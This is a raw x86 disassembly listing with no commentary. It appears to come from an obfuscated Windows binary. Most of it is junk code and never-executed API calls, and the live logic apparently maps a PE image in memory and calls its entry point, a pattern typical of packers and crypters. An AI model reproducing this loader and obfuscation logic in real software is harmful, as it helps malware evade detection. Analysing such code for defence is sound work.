mov dword [ebp - 0xcc], 0
jmp 0x424130
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 1
jg 0x424151
mov byte [ebp - 0x4e], 0
movzx eax, byte [ebp - 0x4e]
test eax, eax
je 0x42414f
push 0
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
jmp 0x424123
jmp 0x4240ec
mov dword [ebp - 0x4c], 0
jmp 0x424163
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 1
jg 0x42418e
mov byte [ebp - 0x4f], 0
movzx eax, byte [ebp - 0x4f]
test eax, eax
je 0x42418c
push 0x2630
push 0x1f4f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetClassLongA]
jmp 0x42415c
jmp 0x42408d
push 1
push dword [ebp - 0x84]
push 1
push 0x25e6
push 0x38ad
push 0x3f08
push 0x6193
push 0
push 1
push 0x25f7
push 1
lea eax, [ebp - 0x94]
push eax
push 1
call fcn.0041ed7f
add esp, 0x34
mov dword [ebp - 0x80], 0xba76aabe
mov dword [ebp - 0x49c], 0xfffffff8
mov dword [ebp - 0x24], 0
jmp 0x4241ee
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 4
jge 0x424204
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x5e4], 7
jmp 0x4241e7
mov dword [ebp - 0x24], 0
jmp 0x424214
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 1
jge 0x42422a
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x520], 0x9f3690f1
jmp 0x42420d
mov dword [ebp - 0x80], 0
jmp 0x42423a
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 3
jg 0x4242a7
mov dword [ebp - 0x4a4], 1
mov dword [ebp - 0x2bc], 0x13a3dbc5
mov dword [ebp - 0xe4], 0
jmp 0x42426d
mov eax, dword [ebp - 0xe4]
inc eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 3
jge 0x424289
mov eax, dword [ebp - 0xe4]
mov dword [ebp + eax*4 - 0x5f8], 9
jmp 0x424260
mov eax, dword [ebp - 0x80]
cmp dword [ebp + eax*4 - 0x5e4], 0
je 0x424298
jmp 0x4242a7
mov eax, dword [ebp - 0x2bc]
inc eax
mov dword [ebp - 0x2bc], eax
jmp 0x424233
mov byte [ebp - 0x51], 0
movzx eax, byte [ebp - 0x51]
test eax, eax
je 0x4242da
push 0x1b3e
push 0
push 0x104c
push 0x2042
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharacterPlacementW]
cmp dword [ebp - 0x94], 0
jne 0x424711
mov dword [ebp - 4], 0x24a8c6a5
mov dword [ebp - 0x168], 1
mov dword [ebp - 0xa0], 0
jmp 0x424311
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 3
jge 0x42432d
mov eax, dword [ebp - 0xa0]
mov dword [ebp + eax*4 - 0x5b0], 0x2ff3e141
jmp 0x424304
mov dword [ebp - 4], 0xf
jmp 0x42433d
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x1a
jle 0x42451a
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x11c], 0x61fc2da8
mov eax, dword [ebp - 4]
mov dword [ebp - 0x528], eax
mov eax, dword [ebp - 4]
cmp dword [ebp - 4], eax
jge 0x424378
mov dword [ebp - 0x234], 1
jmp 0x42437f
and dword [ebp - 0x234], 0
mov eax, dword [ebp - 4]
cmp dword [ebp - 0x234], eax
jl 0x424396
mov dword [ebp - 0x304], 1
jmp 0x42439d
and dword [ebp - 0x304], 0
mov eax, dword [ebp - 4]
imul eax, dword [ebp - 0x304]
cmp eax, 0x72a6
jg 0x4243ba
mov dword [ebp - 0x23c], 1
jmp 0x4243c1
and dword [ebp - 0x23c], 0
mov eax, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0x23c]
sub ecx, dword [ebp - 4]
lea eax, [eax + ecx - 0x6eaf052]
cmp eax, dword [ebp - 0x168]
jl 0x4243eb
mov dword [ebp - 0x2c4], 1
jmp 0x4243f2
and dword [ebp - 0x2c4], 0
cmp dword [ebp - 0x2c4], 0
jb 0x4243ff
xor eax, eax
jne 0x424411
mov eax, 0x92715ee5
test eax, eax
jne 0x424411
and dword [ebp - 0x244], 0
jmp 0x42441b
mov dword [ebp - 0x244], 1
mov eax, dword [ebp - 0x12c]
mov dword [ebp - 0x384], eax
mov eax, dword [ebp - 0x244]
mov dword [ebp - 0x3b8], eax
mov eax, dword [ebp - 0x12c]
dec eax
mov dword [ebp - 0x12c], eax
mov eax, dword [ebp - 0x384]
cmp eax, dword [ebp - 0x3b8]
jge 0x42445a
mov dword [ebp - 0x344], 1
jmp 0x424461
and dword [ebp - 0x344], 0
cmp dword [ebp - 0x344], 0x31bb000e
je 0x424479
mov dword [ebp - 0x24c], 1
jmp 0x424480
and dword [ebp - 0x24c], 0
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x24c]
jge 0x424497
mov dword [ebp - 0x154], 1
jmp 0x42449e
and dword [ebp - 0x154], 0
mov eax, dword [ebp - 4]
cmp dword [ebp - 0x154], eax
jl 0x4244b5
mov dword [ebp - 0x158], 1
jmp 0x4244bc
and dword [ebp - 0x158], 0
mov eax, dword [ebp - 0x11c]
cmp dword [ebp - 0x158], eax
jg 0x4244d6
mov dword [ebp - 0x160], 1
jmp 0x4244dd
and dword [ebp - 0x160], 0
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x11c], eax
mov byte [ebp - 0x53], 0
movzx eax, byte [ebp - 0x53]
test eax, eax
je 0x424515
push 0
push 0x9b
push 0x228b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetViewportOrgEx]
jmp 0x424336
mov eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
imul eax, dword [ebp - 0x168]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x5b0], eax
mov dword [ebp - 0x44], 0x2cb13638
mov dword [ebp - 0x100], 0xacd40988
mov dword [ebp - 0x408], 0
mov dword [ebp - 0x404], 0
mov dword [ebp - 0x400], 0
mov dword [ebp - 0x3fc], 0
mov dword [ebp - 0x38c], 0xfff6
mov dword [ebp - 0x190], 0xd9ba5f27
mov dword [ebp - 0x1a8], 0xff18c9a0
mov dword [ebp - 0x3dc], 0
mov dword [ebp - 0x354], 0xbf118c84
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x4ac], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x100], eax
mov eax, dword [ebp - 0x100]
cmp dword [ebp - 0x44], eax
jge 0x4245cb
mov dword [ebp - 0x170], 1
jmp 0x4245d2
and dword [ebp - 0x170], 0
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x170]
je 0x4245e9
mov dword [ebp - 0x178], 1
jmp 0x4245f0
and dword [ebp - 0x178], 0
mov eax, dword [ebp - 0x44]
cmp dword [ebp - 0x178], eax
jg 0x424607
mov dword [ebp - 0x180], 1
jmp 0x42460e
and dword [ebp - 0x180], 0
mov eax, dword [ebp - 0x44]
cmp dword [ebp - 0x180], eax
je 0x424625
mov dword [ebp - 0x13c], 1
jmp 0x42462c
and dword [ebp - 0x13c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x13c]
mov dword [ebp + eax - 0x408], ecx
cmp dword [ebp - 0x13c], 0x8f8f
jl 0x424657
mov dword [ebp - 0x188], 1
jmp 0x42465e
and dword [ebp - 0x188], 0
mov eax, dword [ebp - 0x188]
mov dword [ebp - 0x38c], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x408], 0
mov dword [ebp - 0x190], 0x70b1
cmp dword [ebp - 0x190], 0
je 0x4246a0
mov eax, 0x129b
test eax, eax
je 0x4246a0
mov dword [ebp - 0x198], 1
jmp 0x4246a7
and dword [ebp - 0x198], 0
mov eax, dword [ebp - 0x44]
cmp dword [ebp - 0x198], eax
jle 0x4246be
mov dword [ebp - 0x1a0], 1
jmp 0x4246c5
and dword [ebp - 0x1a0], 0
mov eax, dword [ebp - 0x1a0]
mov dword [ebp - 0x1a8], eax
mov eax, dword [ebp - 0x1a8]
cmp dword [ebp - 0x44], eax
jle 0x4246e8
mov dword [ebp - 0x1b0], 1
jmp 0x4246ef
and dword [ebp - 0x1b0], 0
mov eax, dword [ebp - 0x1b0]
mov dword [ebp - 0x3dc], eax
push 0xfffffffffffffff7
pop eax
sub eax, dword [ebp - 0x354]
mov dword [ebp - 0x100], eax
xor eax, eax
jmp 0x425530
push dword [ebp - 0x108]
push 0x732e
push 0x2bf
push 0x2e50
push 1
push 0xe4e
push 0x6633
lea eax, [ebp - 0x94]
push eax
lea eax, [ebp - 0x14]
push eax
push 1
lea eax, [ebp - 0x530]
push eax
push 0x5e05
push dword [ebp - 0x84]
push 1
call fcn.00421957
add esp, 0x38
mov dword [ebp - 0xb8], 0xf6af1124
mov dword [ebp - 0x358], 0xffff
mov dword [ebp - 0xb0], 0
jmp 0x424788
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 3
jge 0x4247a4
mov eax, dword [ebp - 0xb0]
mov dword [ebp + eax*4 - 0x5bc], 0xa75c19c5
jmp 0x42477b
mov dword [ebp - 0xb8], 0
jmp 0x4247bd
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0x1a
jg 0x424812
mov dword [ebp - 0x8c], 0x46721591
mov dword [ebp - 0x8c], 2
jmp 0x4247e9
mov eax, dword [ebp - 0x8c]
dec eax
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jl 0x424805
mov eax, dword [ebp - 0x8c]
mov dword [ebp + eax*4 - 0x5bc], 9
jmp 0x4247dc
cmp dword [ebp - 0x358], 0
je 0x424810
jmp 0x424812
jmp 0x4247b0
push 1
push 1
push dword [ebp + 8]
push dword [ebp - 0x14]
push 0x7f08
push 1
push 0x4020
push 0x1e37
push 0x29f8
push 0
push dword [ebp - 0x84]
call fcn.004085c3
add esp, 0x2c
mov dword [ebp - 0x7c], 0xba339924
mov dword [ebp - 0x350], 0
cmp dword [ebp - 0x7c], 0
jne 0x424868
cmp dword [ebp - 0x7c], 0
jne 0x424868
and dword [ebp - 0x1b8], 0
jmp 0x424872
mov dword [ebp - 0x1b8], 1
cmp dword [ebp - 0x1b8], 0x47dfa860
jle 0x4248e9
mov dword [ebp - 0x588], 0xc4ab
mov dword [ebp - 0x584], 0xc4ab
mov dword [ebp - 0x580], 0xc4ab
mov dword [ebp - 0x57c], 0xc4ab
mov dword [ebp - 0x7c], 3
jmp 0x4248b6
mov eax, dword [ebp - 0x7c]
dec eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0
jl 0x4248e7
mov byte [ebp - 0x55], 0
movzx eax, byte [ebp - 0x55]
test eax, eax
je 0x4248e5
push 0
push 0
push 0
push 0
push 0x1622
push 1
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
jmp 0x4248af
jmp 0x424943
mov dword [ebp - 0xc0], 0
jmp 0x424902
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 2
jge 0x42491e
mov eax, dword [ebp - 0xc0]
mov dword [ebp + eax*4 - 0x410], 0x3d9b950
jmp 0x4248f5
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x410]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x410], eax
mov dword [ebp - 0x350], 0
mov byte [ebp - 0x57], 0
movzx eax, byte [ebp - 0x57]
test eax, eax
je 0x424955
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x94]
sub ecx, dword [eax + 0x34]
mov dword [ebp - 0x240], ecx
mov dword [ebp - 0x4e8], 0x8c17
mov dword [ebp - 0x4e4], 0x8c17
mov dword [ebp - 0x4e0], 0x8c17
mov dword [ebp - 0x4dc], 0x8c17
mov dword [ebp - 0xc8], 0x964a53aa
mov dword [ebp - 0xc8], 0
jmp 0x4249b5
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 3
jg 0x4249d4
mov byte [ebp - 0x59], 0
movzx eax, byte [ebp - 0x59]
test eax, eax
je 0x4249d2
push 0
call dword [sym.imp.USER32.dll_CreateIconIndirect]
jmp 0x4249a8
cmp dword [ebp - 0x240], 0
je 0x424d07
mov dword [ebp - 0x110], 0x495e0e2b
mov dword [ebp - 0x118], 0xffffffff
mov dword [ebp - 0x208], 0x2a2c7a2e
mov dword [ebp - 0x368], 0x598737a3
mov dword [ebp - 0x228], 0x7618de0f
mov dword [ebp - 0x230], 1
mov dword [ebp - 0x238], 0x685e9d07
mov dword [ebp - 0x378], 0x3821c760
mov dword [ebp - 0x2c], 0
jmp 0x424a41
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 2
jge 0x424a54
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x70], 0xb5934215
jmp 0x424a3a
mov dword [ebp - 0x2c], 0
jmp 0x424a64
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 1
jge 0x424a7a
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x218], 4
jmp 0x424a5d
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x70]
mov dword [ebp - 0x4b4], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x70]
mov dword [ebp - 0x52c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x70]
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0x70]
push 4
pop ecx
imul ecx, ecx, 0
sub eax, dword [ebp + ecx - 0x70]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x70]
jge 0x424ade
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x70], 0
je 0x424ade
mov dword [ebp - 0x1c0], 1
jmp 0x424ae5
and dword [ebp - 0x1c0], 0
mov eax, dword [ebp - 0x1c0]
mov dword [ebp - 0x110], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x70]
cmp dword [ebp - 0x110], eax
jg 0x424b15
cmp dword [ebp - 0x110], 0
jne 0x424b15
and dword [ebp - 0x1c8], 0
jmp 0x424b1f
mov dword [ebp - 0x1c8], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x70]
imul eax, dword [ebp - 0x1c8]
mov dword [ebp - 0x1d0], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1d0]
mov dword [ebp + eax - 0x218], ecx
cmp dword [ebp - 0x1d0], 0
jne 0x424b68
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x70], 0
jne 0x424b68
and dword [ebp - 0x150], 0
jmp 0x424b72
mov dword [ebp - 0x150], 1
cmp dword [ebp - 0x150], 0x910a
jle 0x424b8a
mov dword [ebp - 0x1e0], 1
jmp 0x424b91
and dword [ebp - 0x1e0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x70]
cmp dword [ebp - 0x1e0], eax
jne 0x424bb5
cmp dword [ebp - 0x118], 0
jne 0x424bb5
and dword [ebp - 0x1e8], 0
jmp 0x424bbf
mov dword [ebp - 0x1e8], 1
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x70]
cmp dword [ebp - 0x1e8], eax
jne 0x424bdd
mov dword [ebp - 0x1f0], 1
jmp 0x424be4
and dword [ebp - 0x1f0], 0
cmp dword [ebp - 0x1f0], 2
jne 0x424bf9
mov dword [ebp - 0x1f8], 1
jmp 0x424c00
and dword [ebp - 0x1f8], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x70]
cmp dword [ebp - 0x1f8], eax
jge 0x424c1e
mov dword [ebp - 0x200], 1
jmp 0x424c25
and dword [ebp - 0x200], 0
mov eax, dword [ebp - 0x200]
mov dword [ebp - 0x208], eax
mov eax, dword [ebp - 0x368]
cmp dword [ebp - 0x208], eax
jne 0x424c4b
mov dword [ebp - 0x210], 1
jmp 0x424c52
and dword [ebp - 0x210], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x70]
cmp eax, dword [ebp - 0x210]
jne 0x424c70
mov dword [ebp - 0x370], 1
jmp 0x424c77
and dword [ebp - 0x370], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x118]
cmp dword [ebp + eax - 0x218], ecx
jle 0x424c98
mov dword [ebp - 0x220], 1
jmp 0x424c9f
and dword [ebp - 0x220], 0
mov eax, dword [ebp - 0x118]
imul eax, dword [ebp - 0x220]
mov dword [ebp - 0x228], eax
mov eax, dword [ebp - 0x228]
mov dword [ebp - 0x230], eax
mov eax, dword [ebp - 0x230]
mov dword [ebp - 0x238], eax
mov eax, dword [ebp - 0x238]
neg eax
mov dword [ebp - 0x378], eax
push 0x750
push 0x489d
push dword [ebp - 0x14]
push 1
push 0
push 0x3991
push 1
push 0
push dword [ebp - 0x240]
push 1
push 0x5f94
call fcn.00410122
add esp, 0x2c
push dword [ebp - 0x14]
call fcn.00416340
pop ecx
test eax, eax
jne 0x424d1b
xor eax, eax
jmp 0x425530
mov dword [ebp - 0x78], 8
mov dword [ebp - 0x78], 0xfffffffb
jmp 0x424d32
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xf
jge 0x424d86
mov dword [ebp - 0x90], 0x1f665683
mov dword [ebp - 0x90], 0
jmp 0x424d5b
mov eax, dword [ebp - 0x90]
dec eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0xfffffff2
je 0x424d84
mov byte [ebp - 0x5b], 0
movzx eax, byte [ebp - 0x5b]
test eax, eax
je 0x424d82
push 0
push 0xee5
push 0x25fc
call dword [sym.imp.GDI32.dll_CreatePen]
jmp 0x424d4e
jmp 0x424d2b
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x78], eax
push 1
push dword [ebp - 0x14]
push 0x6a06
push 1
push 0x6940
push 1
push 0
call fcn.00413fb6
add esp, 0x1c
mov dword [ebp - 0x14c], 0xfffffff7
mov dword [ebp - 0x148], 0xfffffff7
mov dword [ebp - 0x144], 0xfffffff7
mov dword [ebp - 0x140], 0xfffffff7
mov dword [ebp - 8], 1
mov dword [ebp - 0x4bc], 0xd925d3c0
mov dword [ebp - 0x4d8], 7
mov dword [ebp - 0x4c4], 0xffffffff
mov dword [ebp - 0x4ec], 0x323e629b
mov dword [ebp - 0x4cc], 0
mov dword [ebp - 0x4f4], 0x2cac2457
mov dword [ebp - 0x4d4], 0xffffffff
mov dword [ebp - 0x4fc], 0xbe618b25
mov dword [ebp - 0x428], 0xc0775dae
mov dword [ebp - 0x430], 0xf4b430f0
mov dword [ebp - 0x438], 5
mov dword [ebp - 8], 0
jmp 0x424e56
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 3
jg 0x425207
mov dword [ebp - 0x440], 0xd76df3e2
mov dword [ebp - 0x448], 0x687c4177
mov dword [ebp - 0x450], 0xffffffff
mov dword [ebp - 0x458], 0xfffffffe
mov dword [ebp - 0x460], 1
mov dword [ebp - 0x468], 0xa4d2c64
mov dword [ebp - 0x470], 0x58390a34
mov dword [ebp - 0x478], 1
mov dword [ebp - 0x480], 5
mov dword [ebp - 0xd8], 0
jmp 0x424ed3
mov eax, dword [ebp - 0xd8]
inc eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 2
jge 0x424eef
mov eax, dword [ebp - 0xd8]
mov dword [ebp + eax*4 - 0x5d4], 5
jmp 0x424ec6
mov eax, dword [ebp - 8]
cmp dword [ebp + eax*4 - 0x14c], 0x7a98
jle 0x424f0b
mov dword [ebp - 0x248], 1
jmp 0x424f12
and dword [ebp - 0x248], 0
mov eax, dword [ebp - 8]
mov eax, dword [ebp + eax*4 - 0x14c]
cmp dword [ebp - 0x248], eax
jg 0x424f30
mov dword [ebp - 0x270], 1
jmp 0x424f37
and dword [ebp - 0x270], 0
or eax, 0xffffffff
je 0x424f55
mov eax, dword [ebp - 8]
cmp dword [ebp + eax*4 - 0x14c], 0
je 0x424f55
mov dword [ebp - 0x250], 1
jmp 0x424f5c
and dword [ebp - 0x250], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x14c]
cmp dword [ebp - 0x250], eax
jle 0x424f7d
mov dword [ebp - 0x258], 1
jmp 0x424f84
and dword [ebp - 0x258], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x14c]
cmp dword [ebp - 0x258], eax
jg 0x424fa5
mov dword [ebp - 0x260], 1
jmp 0x424fac
and dword [ebp - 0x260], 0
mov eax, dword [ebp - 8]
mov eax, dword [ebp + eax*4 - 0x14c]
cmp eax, dword [ebp - 0x260]
jl 0x424fd0
cmp dword [ebp - 8], 0
je 0x424fd0
mov dword [ebp - 0x268], 1
jmp 0x424fd7
and dword [ebp - 0x268], 0
cmp dword [ebp - 0x268], 0x1b0ae28d
jg 0x424fef
mov dword [ebp - 0x278], 1
jmp 0x424ff6
and dword [ebp - 0x278], 0
mov eax, dword [ebp - 0x270]
cmp eax, dword [ebp - 0x278]
jl 0x425010
mov dword [ebp - 0x280], 1
jmp 0x425017
and dword [ebp - 0x280], 0
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x280]
mov ecx, dword [ebp - 8]
cmp eax, dword [ebp + ecx*4 - 0x14c]
jg 0x425038
mov dword [ebp - 0x288], 1
jmp 0x42503f
and dword [ebp - 0x288], 0
cmp dword [ebp - 0x288], 0
jne 0x425154
mov dword [ebp - 0x2c8], 0xffffffff
mov dword [ebp - 0x2a8], 0xcf8b874b
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x14c]
mov dword [ebp - 0x488], eax
mov eax, 0xe2a9
test eax, eax
je 0x42508e
cmp dword [ebp - 8], 0
je 0x42508e
mov dword [ebp - 0x290], 1
jmp 0x425095
and dword [ebp - 0x290], 0
mov eax, dword [ebp - 0x2a8]
cmp eax, dword [ebp - 0x290]
jg 0x4250af
mov dword [ebp - 0x298], 1
jmp 0x4250b6
and dword [ebp - 0x298], 0
cmp dword [ebp - 0x298], 0xedaa
jl 0x4250ce
mov dword [ebp - 0x2a0], 1
jmp 0x4250d5
and dword [ebp - 0x2a0], 0
cmp dword [ebp - 0x2a0], 0xa4f2a6ca
jne 0x4250ed
mov dword [ebp - 0x2b0], 1
jmp 0x4250f4
and dword [ebp - 0x2b0], 0
mov eax, dword [ebp - 0x2a8]
imul eax, dword [ebp - 0x2b0]
mov ecx, dword [ebp - 8]
imul eax, dword [ebp + ecx*4 - 0x14c]
cmp dword [ebp - 0x2c8], eax
jle 0x425120
mov dword [ebp - 0x2b8], 1
jmp 0x425127
and dword [ebp - 0x2b8], 0
cmp dword [ebp - 0x2b8], 0
je 0x42513c
mov dword [ebp - 0x2c0], 1
jmp 0x425143
and dword [ebp - 0x2c0], 0
mov eax, dword [ebp - 0x2c0]
mov dword [ebp - 0x2c8], eax
jmp 0x4251d9
mov dword [ebp - 0x490], 1
mov dword [ebp - 0x498], 0xd2bb650e
mov dword [ebp - 0x4a0], 1
mov dword [ebp - 0x40], 0
jmp 0x425182
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 2
jge 0x425198
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x5ec], 0x69e0d944
jmp 0x42517b
mov dword [ebp - 0x40], 0
jmp 0x4251a8
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 2
jge 0x4251be
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x420], 0xfffffffc
jmp 0x4251a1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x420]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x420], eax
mov byte [ebp - 0x61], 0
movzx eax, byte [ebp - 0x61]
test eax, eax
je 0x425202
push 0
push 0x1db6
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32A]
jmp 0x424e4f
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
cmp dword [eax + 0x28], 0
je 0x42525e
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x94]
add ecx, dword [eax + 0x28]
mov dword [ebp - 0x2d0], ecx
jne 0x42522f
xor eax, eax
jmp 0x425530
push 0
push 1
push 0xdeadbeef
call dword [ebp - 0x2d0]
mov dword [ebp - 0x380], eax
cmp dword [ebp - 0x380], 0
jne 0x425254
xor eax, eax
jmp 0x425530
mov eax, dword [ebp - 0x14]
mov dword [eax + 0x10], 1
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x128], 0x3ec3d4e7
mov dword [ebp - 0x74], 0
jmp 0x42527f
mov eax, dword [ebp - 0x74]
inc eax
mov dword [ebp - 0x74], eax
cmp dword [ebp - 0x74], 5
jg 0x42550f
mov dword [ebp - 0x34], 0xc5a654fd
mov dword [ebp - 0x120], 0xffffffff
mov byte [ebp - 0x5d], 0
movzx eax, byte [ebp - 0x5d]
test eax, eax
je 0x4252c6
push 0
push 0xb44
push 0xca
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x4a8], eax
xor eax, eax
sub eax, dword [ebp - 0x74]
cmp eax, 0xffffffff
jne 0x4252e5
mov dword [ebp - 0x2e8], 1
jmp 0x4252ec
and dword [ebp - 0x2e8], 0
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x34], eax
jne 0x425300
mov dword [ebp - 0x2d8], 1
jmp 0x425307
and dword [ebp - 0x2d8], 0
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x2d8], eax
jge 0x42531e
mov dword [ebp - 0x2e0], 1
jmp 0x425325
and dword [ebp - 0x2e0], 0
mov eax, dword [ebp - 0x2e0]
add eax, 9
cmp dword [ebp - 0x2e8], eax
jne 0x425342
mov dword [ebp - 0x2f0], 1
jmp 0x425349
and dword [ebp - 0x2f0], 0
mov eax, dword [ebp - 0x2f0]
mov dword [ebp - 0x128], eax
mov eax, 0x26d8d383
test eax, eax
je 0x4253aa
mov dword [ebp - 0x388], 0xfffffff8
mov byte [ebp - 0x50], 0
movzx eax, byte [ebp - 0x50]
test eax, eax
je 0x42539c
push 0
push 0x193d
push 0xcfd
push 0xeb5
push 0xabb
push 0xc48
push 0x26ce
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x388], eax
jmp 0x42550a
mov dword [ebp - 0x98], 6
mov dword [ebp - 0x390], 0xedf4
mov dword [ebp - 0x3a4], 0xfffffff8
cmp dword [ebp - 0x34], 0
jne 0x4253e0
mov eax, 0xffff5b5a
test eax, eax
jne 0x4253e0
and dword [ebp - 0x2f8], 0
jmp 0x4253ea
mov dword [ebp - 0x2f8], 1
mov eax, dword [ebp - 0x2f8]
mov dword [ebp - 0x128], eax
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0x4b0], eax
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x74], eax
jg 0x425416
mov dword [ebp - 0x300], 1
jmp 0x42541d
and dword [ebp - 0x300], 0
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x300]
jl 0x42543a
cmp dword [ebp - 0x98], 0
jne 0x42543a
and dword [ebp - 0x308], 0
jmp 0x425444
mov dword [ebp - 0x308], 1
mov eax, dword [ebp - 0x34]
imul eax, dword [ebp - 0x308]
cmp eax, dword [ebp - 0x390]
jge 0x425462
mov dword [ebp - 0x310], 1
jmp 0x425469
and dword [ebp - 0x310], 0
mov eax, dword [ebp - 0x310]
add eax, 0xa996
mov dword [ebp - 0x3a4], eax
mov eax, 0x9342bb1e
cmp eax, 0xeaba4a2c
je 0x425492
mov dword [ebp - 0x318], 1
jmp 0x425499
and dword [ebp - 0x318], 0
cmp dword [ebp - 0x318], 0xb81f947f
jb 0x4254b8
push 0xfffffffffffffff8
pop eax
test eax, eax
je 0x4254b8
mov dword [ebp - 0x320], 1
jmp 0x4254bf
and dword [ebp - 0x320], 0
mov eax, dword [ebp - 0x320]
neg eax
cmp eax, dword [ebp - 0x98]
je 0x4254db
mov dword [ebp - 0x328], 1
